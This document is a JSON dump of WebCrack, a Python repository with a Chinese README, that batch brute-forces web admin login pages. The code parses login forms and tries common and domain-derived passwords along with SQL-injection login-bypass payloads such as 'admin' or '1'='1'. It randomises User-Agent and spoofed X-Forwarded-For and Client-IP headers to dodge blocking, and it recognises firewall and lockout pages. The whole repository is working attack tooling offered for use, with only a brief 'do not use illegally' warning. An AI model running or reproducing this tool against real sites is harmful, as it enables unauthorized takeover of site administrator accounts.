[
  {
    "path": ".gitignore",
    "content": "/.idea/\n/logs/20*\n*.pyc\n*test*"
  },
  {
    "path": "README.md",
    "content": "# WebCrack `v(2.2)`\n\n## 工具简介\n\nWebCrack是一款web后台弱口令/万能密码批量检测工具，在工具中导入后台地址即可进行自动化检测。\n\n\n## 开发文档\n\nhttps://yzddmr6.com/posts/webcrack-release/\n\n## 更新日志\n\n### 2021/07/27 `v(2.2)`\n\n* 修复后台页面没有action字段导致的解析问题\n\n* 配置文件字典改为加载txt方式\n\n### 2021/03/15 `v(2.1)`\n\n* 修复目标为IP时字典生成失败的BUG\n\n### 2021/02/22 `v(2.0)`\n\n* 代码重构，解耦，面向对象\n\n* `conf/config.py`中可以自定义全局参数\n\n* 去掉预请求，优化核心判断逻辑\n\n* 修复部分BUG\n\n### 2020/02/25 `v(1.1)`\n\n代码准备全部重构，先发一个修复BUG的临时版本\n\n* 优化核心判断逻辑\n\n* 修复两处表单识别问题\n\n* 增加黑名单关键字\n\n### 2019/09/09 `v(1.0)`\n\n* 项目开源\n\n## 工具特点\n\n* 多重判断机制，减少误报\n\n* 随机UA 随机X-Forwarded-For 随机Client-IP\n\n* 可以通过域名生成动态字典\n\n* 可以检测万能密码漏洞\n\n* 支持自定义爆破规则\n\n## 使用方法\n\n下载项目\n```\ngit clone https://github.com/yzddmr6/WebCrack\n```\n\n安装依赖\n```\npip install -r requirements.txt\n```\n\n运行脚本\n```\n> python3 webcrack.py\n\n+---------------------------------------------------+\n| __          __  _      _____                _     |\n| \\ \\        / / | |    / ____|              | |    |\n|  \\ \\  /\\  / /__| |__ | |     _ __ __ _  ___| | __ |\n|   \\ \\/  \\/ / _ \\ '_ \\| |    | '__/ _' |/ __| |/ / |\n|    \\  /\\  /  __/ |_) | |____| | | (_| | (__|   <  |\n|     \\/  \\/ \\___|_.__/ \\_____|_|  \\__,_|\\___|_|\\_\\ |\n|                                                   |\n|                 code by @yzddmr6                  |\n|                  version: 2.1                     |\n+---------------------------------------------------+\n\nFile or Url:\n\n```\n\n输入文件名则进行批量爆破，输入URL则进行单域名爆破。\n\n开始爆破\n\n![image-20210222154621129](README.assets/image-20210222154621129.png)\n\n\n爆破的结果会保存在`logs/{date}/`文件夹中\n\n![image](https://user-images.githubusercontent.com/46088090/64511693-6a248e80-d317-11e9-9d0c-6114cb194d37.png)\n\n\n## 自定义配置文件\n\n参数详情见`conf/config.py`文件注释\n\n## 警告！\n\n**请勿用于非法用途！否则自行承担一切后果**\n"
  },
  {
    "path": "conf/__init__.py",
    "content": "import sys, os\n\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n"
  },
  {
    "path": "conf/config.py",
    "content": "import os\n\n\ndef txt2list(txt):\n    ret = []\n    path = os.path.join(os.path.dirname(os.path.abspath(__file__)), txt)\n    with open(path, \"r\", encoding=\"UTF-8\") as f:\n        for line in f.readlines():\n            ret.append(line.strip())\n    return ret\n\n\nlogConfig = {\n    \"log_filename\": \"logs.txt\",  # 普通日志文件名称\n    \"success_filename\": \"success.txt\",  # 成功日志文件名称\n}\n\ncrackConfig = {\n    \"timeout\": 10,  # 超时时间\n    \"delay\": 0.03,  # 每次请求之后sleep的间隔\n    \"test_username\": \"admin\",  # 测试用户名\n    \"test_password\": \"length_test\",  # 测试密码\n    \"requests_proxies\": {  # 请求代理\n        # \"http\": \"127.0.0.1:8080\",\n        # \"https\": \"127.0.0.1:8080\"\n    },\n    \"fail_words\": ['密码错误', '重试', '不正确', '密码有误', '不成功', '重新输入', '不存在', '登录失败', '登陆失败', '密码或安全问题错误', 'history.go',\n                   'history.back',\n                   '已被锁定', '安全拦截', '还可以尝试', '无效', '攻击行为', '创宇盾', 'http://zhuji.360.cn/guard/firewall/stopattack.html',\n                   'D盾_拦截提示', '用户不存在',\n                   '非法', '百度云加速', '安全威胁', '防火墙', '黑客', '不合法', 'Denied', '尝试次数',\n                   'http://safe.webscan.360.cn/stopattack.html', \"Illegal operation\", \"服务器安全狗防护验证页面\"]  # 黑名单关键字\n}\ngeneratorConfig = {\n    \"dict_config\": {\n        \"base_dict\": {\n            \"username_list\": ['admin'],  # 爆破用户名字典\n            \"password_list\": txt2list(\"password_list.txt\")  # 爆破密码字典\n\n        },\n        \"domain_dict\": {\n            \"enable\": True,\n            \"suffix_list\": [  # 动态生成域名字典后缀\n                \"\",\n                \"123\",\n                \"666\",\n                \"888\",\n                \"123456\"\n            ],\n\n        },\n        \"sqlin_dict\": {\n            \"enable\": True,\n            \"payload_list\": [  # 万能密码列表\n                \"admin' or 'a'='a\",\n                \"'or'='or'\",\n                \"admin' or '1'='1' or 1=1\",\n                \"')or('a'='a\",\n                \"'or 1=1 -- -\"\n            ],\n        }\n    },\n    \"headers_config\": {\n        \"enable\": True,\n        \"useragent_list\": [\n            \"Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0\",\n            \"Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0\",\n            \"Mozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre\",\n            \"Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60\",\n            \"Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr)\",\n            \"Mozilla/5.0 (Windows; U; Windows NT 5.1; ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14\",\n            \"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36\",\n            \"Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)\",\n            \"Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16\",\n            \"Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5\"\n        ],\n        \"default_headers\": {\n            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n            'User-Agent': \"WebCrack Test\",\n            'Accept-Encoding': 'gzip, deflate',\n            'Accept-Language': 'zh-CN,zh;q=0.8',\n            \"Referer\": \"http://www.baidu.com/\",\n            'Content-Type': 'application/x-www-form-urlencoded'}\n    }\n}\nparserConfig = {\n    \"default_value\": \"0000\",  # 当参数没有value时的默认填充值\n    \"username_keyword_list\": [  # 用户名参数关键字列表\n        \"user\",\n        \"name\",\n        \"zhanghao\",\n        \"yonghu\",\n        \"email\",\n        \"account\",\n    ],\n    \"password_keyword_list\": [  # 密码参数关键字列表\n        \"pass\",\n        \"pw\",\n        \"mima\"\n    ],\n\n    \"captcha_keyword_list\": [  # 验证码关键字列表\n        \"验证码\",\n        \"captcha\",\n        \"验 证 码\",\n        \"点击更换\",\n        \"点击刷新\",\n        \"看不清\",\n        \"认证码\",\n        \"安全问题\"\n    ],\n\n    \"login_keyword_list\": [  # 检测登录页面关键字\n        \"用户名\",\n        \"密码\",\n        \"login\",\n        \"denglu\",\n        \"登录\",\n        \"user\",\n        \"pass\",\n        \"yonghu\",\n        \"mima\",\n        \"admin\",\n    ],\n\n}\ncmsConfig = {\n    \"discuz\": {\n        \"name\": \"discuz\",  # cms名称\n        \"keywords\": \"admin_questionid\",  # cms页面指纹关键字\n        \"captcha\": 0,  # 是否存在验证码\n        \"sqlin_able\": 0,  # 是否存在后台sql注入\n        \"success_flag\": \"admin.php?action=logout\",  # 登录成功关键字\n        \"die_flag\": \"密码错误次数过多\",  # 若填写此项，遇到其中的关键字就会退出爆破，用于dz等对爆破次数有限制的cms\n        \"alert\": 0,  # 若为1则会打印下面note的内容\n        \"note\": \"discuz论坛测试\"\n    },\n    \"dedecms\": {\n        \"name\": \"dedecms\",\n        \"keywords\": \"newdedecms\",\n        \"captcha\": 0,\n        \"sqlin_able\": 0,\n        \"success_flag\": \"\",\n        \"die_flag\": \"\",\n        \"alert\": 0,\n        \"note\": \"dedecms测试\"\n    },\n    \"phpweb\": {\n        \"name\": \"phpweb\",\n        \"keywords\": \"width:100%;height:100%;background:#ffffff;padding:160px\",\n        \"captcha\": 0,\n        \"sqlin_able\": 1,\n        \"success_flag\": \"admin.php?action=logout\",\n        \"die_flag\": \"\",\n        \"alert\": 1,\n        \"note\": \"存在 phpweb 万能密码 : admin' or '1' ='1' or '1'='1\"\n    },\n    \"ecshop\": {\n        \"name\": \"ecshop\",\n        \"keywords\": \"validator.required('username', user_name_empty);\",\n        \"captcha\": 0,\n        \"sqlin_able\": 0,\n        \"success_flag\": \"ECSCP[admin_pass]\",\n        \"die_flag\": \"\",\n        \"alert\": 0,\n        \"note\": \"ecshop测试\"\n    },\n    \"phpmyadmin\": {\n        \"name\": \"phpmyadmin\",\n        \"keywords\": \"pma_username\",\n        \"captcha\": 0,\n        \"sqlin_able\": 0,\n        \"success_flag\": \"db_structure.php\",\n        \"die_flag\": \"\",\n        \"alert\": 0,\n        \"note\": \"phpmyadmin测试\"\n    }\n}\n"
  },
  {
    "path": "conf/password_list.txt",
    "content": "{user}\n123456\n{user}888\n12345678\n123123\n88888888\n888888\npassword\n123456a\n{user}123\n{user}123456\n{user}666\n{user}2018\n123456789\n654321\n666666\n66666666\n1234567890\n8888888\n987654321\n0123456789\n12345\n1234567\n000000\n111111\n5201314\n123123"
  },
  {
    "path": "crack/__init__.py",
    "content": ""
  },
  {
    "path": "crack/crack_task.py",
    "content": "import requests\n\nfrom generator.dict import *\nfrom generator.header import get_random_headers\nfrom conf.config import *\nimport logs.log as Log\nfrom parse.parser import Parser\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\nimport time\n\n\ndef get_res_length(res):\n    # return len(res.text + str(res.headers))\n    return len(res.text)\n\n\nclass CrackTask:\n    id = 0\n    url = ''\n    parser = {}\n    error_length = 0\n    requests_proxies = {}\n    timeout = 0\n    fail_words = []\n    test_username = ''\n    test_password = ''\n    conn = {}\n\n    def __init__(self):\n        # 加载配置文件\n        self.requests_proxies = crackConfig[\"requests_proxies\"]\n        self.timeout = crackConfig[\"timeout\"]\n        self.fail_words = crackConfig[\"fail_words\"]\n        self.test_username = crackConfig[\"test_username\"]\n        self.test_password = crackConfig[\"test_password\"]\n\n    def run(self, id, url):\n        self.id = id\n        self.url = url\n        print(\"\")\n        Log.init_log_id(id)\n        Log.Info(f\"[*] Start: {url}\")\n        try:\n            self.parser = Parser(self.url)\n            if not self.parser.run():\n                return\n            self.error_length = self.get_error_length()\n            username_dict, password_dict = gen_dict(url)\n            username, password = self.crack_task(username_dict, password_dict)\n            # 万能密码爆破\n            if not username and not password:\n                if self.parser.cms:\n                    sqlin_dict_enable = self.parser.cms[\"sqlin_able\"]\n                else:\n                    sqlin_dict_enable = generatorConfig[\"dict_config\"][\"sqlin_dict\"][\"enable\"]\n                if sqlin_dict_enable:\n                    Log.Info(f\"[*] {url} 启动万能密码爆破模块\")\n                    sqlin_user_dict, sqlin_pass_dict = gen_sqlin_dict()\n                    username, password = self.crack_task(sqlin_user_dict, sqlin_pass_dict)\n\n            if username and password:\n                Log.Info(f\"[*] Rechecking... {url} {username} {password}\")\n                recheck_flag = self.recheck(username, password)\n                if recheck_flag:\n                    Log.Success(f\"[+] Success: {url}  {username}/{password}\")\n                    return\n                else:\n                    Log.Info(f\"[-] Recheck failed: {url}  {username}/{password}\")\n            Log.Error(\"[-] Failed: \" + url)\n        except Exception as e:\n            Log.Error(f\"{str(e)}\")\n\n    def crack_request(self, conn, username, password):\n        data = self.parser.data\n        path = self.parser.post_path\n        data[self.parser.username_keyword] = username\n        data[self.parser.password_keyword] = password\n        res = conn.post(url=path, data=data, headers=get_random_headers(), timeout=self.timeout, verify=False,\n                        allow_redirects=True, proxies=self.requests_proxies)\n        time.sleep(crackConfig[\"delay\"])\n        res.encoding = res.apparent_encoding\n        return res\n\n    def get_error_length(self):\n        conn = requests.session()\n        self.conn = conn\n        # pre_res = self.crack_request(conn, self.test_username, self.test_password)  # 预请求一次\n        res1 = self.crack_request(conn, self.test_username, self.test_password)\n        res2 = self.crack_request(conn, self.test_username, self.test_password)\n        error_length1 = get_res_length(res1)\n        error_length2 = get_res_length(res2)\n        if error_length1 != error_length2:\n            raise Exception(f\"[-] {self.url} Error length 不为固定值\")\n        return error_length1\n\n    def recheck(self, username, password):\n        password = password.replace('{user}', username)\n        conn = requests.session()\n        # pre_res = self.crack_request(conn, self.test_username, self.test_password)  # 预请求一次\n        res1 = self.crack_request(conn, self.test_username, self.test_password)\n        res2 = self.crack_request(conn, username, password)\n        error_length1 = get_res_length(res1)\n        error_length2 = get_res_length(res2)\n\n        if error_length1 == error_length2 or res2.status_code == 403:\n            return False\n        else:\n            return True\n\n    def crack_task(self, username_dict, password_dict):\n        fail_words = self.fail_words\n        conn = self.conn\n        error_length = self.error_length\n        num = 0\n        dic_all = len(username_dict) * len(password_dict)\n        for username in username_dict:\n            for password in password_dict:\n                right_pass = 1\n                password = password.replace('{user}', username)\n                num = num + 1\n                Log.Info(f\"[*] {self.url} 进度: ({num}/{dic_all}) checking: {username} {password}\")\n                res = self.crack_request(conn, username, password)\n                html = res.text + str(res.headers)\n                if self.parser.cms:\n                    if self.parser.cms[\"success_flag\"] and (self.parser.cms[\"success_flag\"] in html):\n                        return username, password\n                    elif self.parser.cms[\"die_flag\"] and (self.parser.cms[\"die_flag\"] in html):\n                        return False, False\n                for fail_word in fail_words:\n                    if fail_word in html:\n                        right_pass = 0\n                        break\n                if right_pass:\n                    cur_length = get_res_length(res)\n                    if self.parser.username_keyword in res.text and self.parser.password_keyword in res.text:\n                        continue\n                    if cur_length != error_length:\n                        return username, password\n                else:\n                    continue\n        return False, False\n"
  },
  {
    "path": "generator/__init__.py",
    "content": ""
  },
  {
    "path": "generator/dict.py",
    "content": "import re\nfrom conf.config import *\n\n\ndef gen_dict(url):\n    username_list, password_list = gen_base_dict()\n    if generatorConfig[\"dict_config\"][\"domain_dict\"][\"enable\"]:\n        domain_user_dict, domain_pass_dict = gen_domain_dict(url)\n        if domain_user_dict and domain_pass_dict:\n            username_list.extend(domain_user_dict)\n            password_list.extend(domain_pass_dict)\n    if username_list and password_list:\n        return username_list, password_list\n    else:\n        raise Exception(\"[-] 字典生成失败！\")\n\n\ndef gen_sqlin_dict():\n    sqlin_user_dict = generatorConfig[\"dict_config\"][\"sqlin_dict\"][\"payload_list\"]\n    sqlin_pass_dict = sqlin_user_dict\n    return sqlin_user_dict, sqlin_pass_dict\n\n\ndef gen_base_dict():\n    base_username_list = generatorConfig[\"dict_config\"][\"base_dict\"][\"username_list\"].copy()\n    base_password_list = generatorConfig[\"dict_config\"][\"base_dict\"][\"password_list\"].copy()\n    return base_username_list, base_password_list\n\n\ndef gen_domain_dict(url):\n    domain_user_dict = []\n    domain_pass_dict = []\n    tmp_dict = []\n    suffix_list = generatorConfig[\"dict_config\"][\"domain_dict\"][\"suffix_list\"]\n    list1 = url.split('/')\n    host = list1[2].split(\":\")[0]\n    compile_ip = re.compile(\n        '^(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|[1-9])\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)\\.(1\\d{2}|2[0-4]\\d|25[0-5]|[1-9]\\d|\\d)$')\n    if compile_ip.match(host):\n        check_ip = 1\n    else:\n        check_ip = 0\n    if not check_ip:\n        list2 = host.split(\".\")\n        i = len(list2)\n        for u in range(i):  # 生成url字典1\n            list3 = list2[u:]\n            part = '.'.join(list3)\n            if (len(part) < 5):\n                continue\n            domain_pass_dict.append(part)\n        for u in range(i):  # 生成url字典2\n            list3 = list2[u]\n            if len(list3) < 5:\n                continue\n            tmp_dict.append(list3)\n        for i in tmp_dict:\n            for suffix in suffix_list:\n                u = i + suffix\n                domain_pass_dict.append(u)\n        return domain_user_dict, domain_pass_dict\n    else:\n        return False, False\n"
  },
  {
    "path": "generator/header.py",
    "content": "import random\nfrom conf.config import *\n\nuseragent_list = generatorConfig[\"headers_config\"][\"useragent_list\"]\nenable = generatorConfig[\"headers_config\"][\"enable\"]\n\n\ndef get_random_headers():  # 生成随机headers\n    if enable:\n        UA = random.choice(useragent_list)\n        a = str(random.randint(1, 255))\n        b = str(random.randint(1, 255))\n        c = str(random.randint(1, 255))\n        random_XFF = '127.' + a + '.' + b + '.' + c\n        random_CI = '127.' + c + '.' + a + '.' + b\n        headers = {\n            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n            'User-Agent': UA,\n            'X-Forwarded-For': random_XFF,\n            'Client-IP': random_CI,\n            'Accept-Encoding': 'gzip, deflate',\n            'Accept-Language': 'zh-CN,zh;q=0.8',\n            \"Referer\": \"http://www.baidu.com/\",\n            'Content-Type': 'application/x-www-form-urlencoded'}\n    else:\n        headers = generatorConfig[\"rand_headers_config\"][\"default_headers\"]\n\n    return headers\n"
  },
  {
    "path": "logs/__init__.py",
    "content": ""
  },
  {
    "path": "logs/log.py",
    "content": "import time, os\nfrom conf.config import *\n\ndate = time.strftime('%Y-%m-%d', time.localtime(time.time()))\nlog_dir = os.path.join(os.path.dirname(os.path.abspath(__file__)), date)\nif not os.path.exists(log_dir):\n    os.mkdir(log_dir)\n\nsuccess_filename = os.path.join(log_dir, logConfig[\"success_filename\"])\nlog_filename = os.path.join(log_dir, logConfig[\"log_filename\"])\nlock = {}\nid = ''\n\n\ndef init_lock(l):\n    global lock\n    lock = l\n\n\ndef init_log_id(i):\n    global id\n    id = i\n\n\ndef get_time():\n    return time.strftime('%Y-%m-%d %X', time.localtime(time.time()))\n\n\ndef write_log(filename, msg):\n    if lock:\n        with lock:\n            with open(filename, \"a+\", encoding=\"UTF-8\") as log:\n                log.write(msg + \"\\n\")\n    else:\n        with open(filename, \"a+\", encoding=\"UTF-8\") as log:\n            log.write(msg + \"\\n\")\n\n\ndef Info(msg):\n    current_time = get_time()\n    if id:\n        msg = f\"{current_time}  id: {id} {str(msg)}\"\n    else:\n        msg = f\"{current_time}  {str(msg)}\"\n    print(msg)\n\n\ndef Error(msg):\n    current_time = get_time()\n    if id:\n        msg = f\"{current_time}  id: {id} {str(msg)}\"\n    else:\n        msg = f\"{current_time}  {str(msg)}\"\n    print(msg)\n    write_log(log_filename, msg)\n\n\ndef Success(msg):\n    current_time = get_time()\n    if id:\n        msg = f\"{current_time}  id: {id} {str(msg)}\"\n    else:\n        msg = f\"{current_time}  {str(msg)}\"\n    print(msg)\n    write_log(success_filename, msg)\n"
  },
  {
    "path": "parse/__init__.py",
    "content": ""
  },
  {
    "path": "parse/parser.py",
    "content": "from urllib.parse import urlparse\nfrom conf.config import *\nimport requests\nfrom bs4 import BeautifulSoup as BS\nimport re\nfrom generator.header import get_random_headers\nimport logs.log as Log\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n\nclass Parser:\n    id = 0\n    url = ''\n    post_path = ''\n    resp_content = ''\n    form_content = ''\n    username_keyword = ''\n    password_keyword = ''\n    data = ''\n    cms = ''\n\n    def __init__(self, url):\n        self.url = url\n        self.requests_proxies = crackConfig[\"requests_proxies\"]\n\n    def run(self):\n        try:\n            self.get_resp_content()\n            self.cms_parser()\n            self.form_parser()\n            self.check_login_page()\n            self.captcha_parser()\n            self.post_path_parser()\n            self.param_parser()\n        except Exception as e:\n            Log.Error(f\"[-] {self.url} Parse Error: \" + str(e))\n            return False\n        return True\n\n    def get_resp_content(self):\n        res = requests.get(self.url, timeout=crackConfig[\"timeout\"], verify=False, headers=get_random_headers(),\n                           proxies=self.requests_proxies)\n        res.encoding = res.apparent_encoding\n        self.resp_content = res.text\n\n    def cms_parser(self):\n        for cms in cmsConfig.values():\n            keyword = cms[\"keywords\"]\n            if keyword and (keyword in self.resp_content):\n                Log.Info(f\"[*] {self.url} 识别到cms: {cms['name']}\")\n                if cms['alert']:\n                    Log.Info(f\"[*] {self.url} {cms['note']}\")\n                self.cms = cms\n\n    def form_parser(self):\n        html = self.resp_content\n        result = re.findall(\".*<form (.*)</form>.*\", html, re.S)\n        if result:\n            form_data = '<form ' + result[0] + ' </form>'\n            form_soup = BS(form_data, \"lxml\")\n            self.form_content = form_soup.form\n        else:\n            raise Exception(\"Can not get form\")\n\n    def check_login_page(self):\n        login_keyword_list = parserConfig[\"login_keyword_list\"]\n        for login_keyword in login_keyword_list:\n            if login_keyword in str(self.form_content).lower():\n                return True\n        raise Exception(\"Maybe not login pages\")\n\n    def captcha_parser(self):\n        captcha_keyword_list = parserConfig[\"captcha_keyword_list\"]\n        for captcha in captcha_keyword_list:\n            if captcha in self.resp_content.lower():\n                raise Exception(f\"{captcha} in login page\")\n\n    def post_path_parser(self):\n        url = self.url\n        content = self.form_content\n        form_action = str(content).split('\\n')[0]\n        soup = BS(form_action, \"lxml\")\n        res = urlparse(url)\n        try:\n            action_path = soup.form['action']\n        except:\n            self.post_path = url  # 当form中没有action字段时，默认地址为url\n            return\n\n        if action_path.startswith('http'):  # action为绝对路径\n            path = action_path\n        elif action_path.startswith('/'):  # action为根路径\n            root_path = res.scheme + '://' + res.netloc\n            path = root_path + action_path\n        elif action_path == '':  # action为空\n            path = url\n        else:  # action为同目录下相对路径\n            relative_path = url.rstrip(url.split('/')[-1])\n            path = relative_path + action_path\n        if not path:\n            raise Exception(\"Can not get post path\")\n        self.post_path = path\n\n    def param_parser(self):\n        content = self.form_content\n        data = {}\n        username_keyword = ''\n        password_keyword = ''\n        username_keyword_list = parserConfig[\"username_keyword_list\"]\n        password_keyword_list = parserConfig[\"password_keyword_list\"]\n        for input_element in content.find_all('input'):\n            if input_element.has_attr('name'):\n                parameter = input_element['name']\n            else:\n                parameter = ''\n            if input_element.has_attr('value'):\n                value = input_element['value']\n            else:\n                value = parserConfig[\"default_value\"]\n            if parameter:\n                data[parameter] = value\n\n        # 提取username_keyword,password_keyword\n        for parameter in data:\n            if not username_keyword and parameter != password_keyword:\n                for keyword in username_keyword_list:\n                    if keyword in parameter.lower():\n                        username_keyword = parameter\n                        break\n            if not password_keyword and parameter != username_keyword:\n                for keyword in password_keyword_list:\n                    if keyword in parameter.lower():\n                        password_keyword = parameter\n                        break\n\n        # 弹出reset\n        for i in ['reset']:\n            for r in list(data.keys()):\n                if i in r.lower():\n                    data.pop(r)\n\n        if username_keyword and password_keyword:\n            self.username_keyword = username_keyword\n            self.password_keyword = password_keyword\n            self.data = data\n        else:\n            raise Exception(\"Can not get login parameter\")\n"
  },
  {
    "path": "requirements.txt",
    "content": "bs4\nlxml\nrequests"
  },
  {
    "path": "url.txt",
    "content": "#若为#开头则忽略此行\nhttp://www.baidu.cn/login.asp\nhttp://www.baidu.cn/login.aspx\nhttp://www.baidu.cn/login.php\nhttp://www.baidu.cn/login.jsp"
  },
  {
    "path": "webcrack.py",
    "content": "import os\nimport datetime\n\nfrom crack.crack_task import CrackTask\n\nauthor_info = '''\n+---------------------------------------------------+\n| __          __  _      _____                _     |\n| \\ \\        / / | |    / ____|              | |    |\n|  \\ \\  /\\  / /__| |__ | |     _ __ __ _  ___| | __ |\n|   \\ \\/  \\/ / _ \\ '_ \\| |    | '__/ _' |/ __| |/ / |\n|    \\  /\\  /  __/ |_) | |____| | | (_| | (__|   <  |\n|     \\/  \\/ \\___|_.__/ \\_____|_|  \\__,_|\\___|_|\\_\\ |\n|                                                   |\n|                 code by @yzddmr6                  |\n|                  version: 2.2                     |\n+---------------------------------------------------+\n'''\n\n\ndef single_process_crack(url_list):\n    all_num = len(url_list)\n    cur_num = 1\n    print(\"总任务数: \" + str(all_num))\n    for url in url_list:\n        CrackTask().run(cur_num, url)\n        cur_num += 1\n\n\nif __name__ == '__main__':\n    print(author_info)\n    try:\n        import conf.config\n    except:\n        print(\"加载配置文件失败！\")\n        exit(0)\n\n    url_file_name = input('File or Url:\\n')\n\n    if '://' in url_file_name:\n        CrackTask().run(1, url_file_name)\n    else:\n        url_list = []\n        if os.path.exists(url_file_name):\n            print(url_file_name, \"exists!\\n\")\n            with open(url_file_name, 'r', encoding=\"UTF-8\") as url_file:\n                for url in url_file.readlines():\n                    url = url.strip()\n                    if url.startswith('#') or url == '' or ('.edu.cn' in url) or ('.gov.cn' in url):\n                        continue\n                    url_list.append(url)\n            start = datetime.datetime.now()\n            single_process_crack(url_list)\n            end = datetime.datetime.now()\n            print(f'All processes done! Cost time: {str(end - start)}')\n        else:\n            print(url_file_name + \" not exist!\")\n            exit(0)\n"
  }
]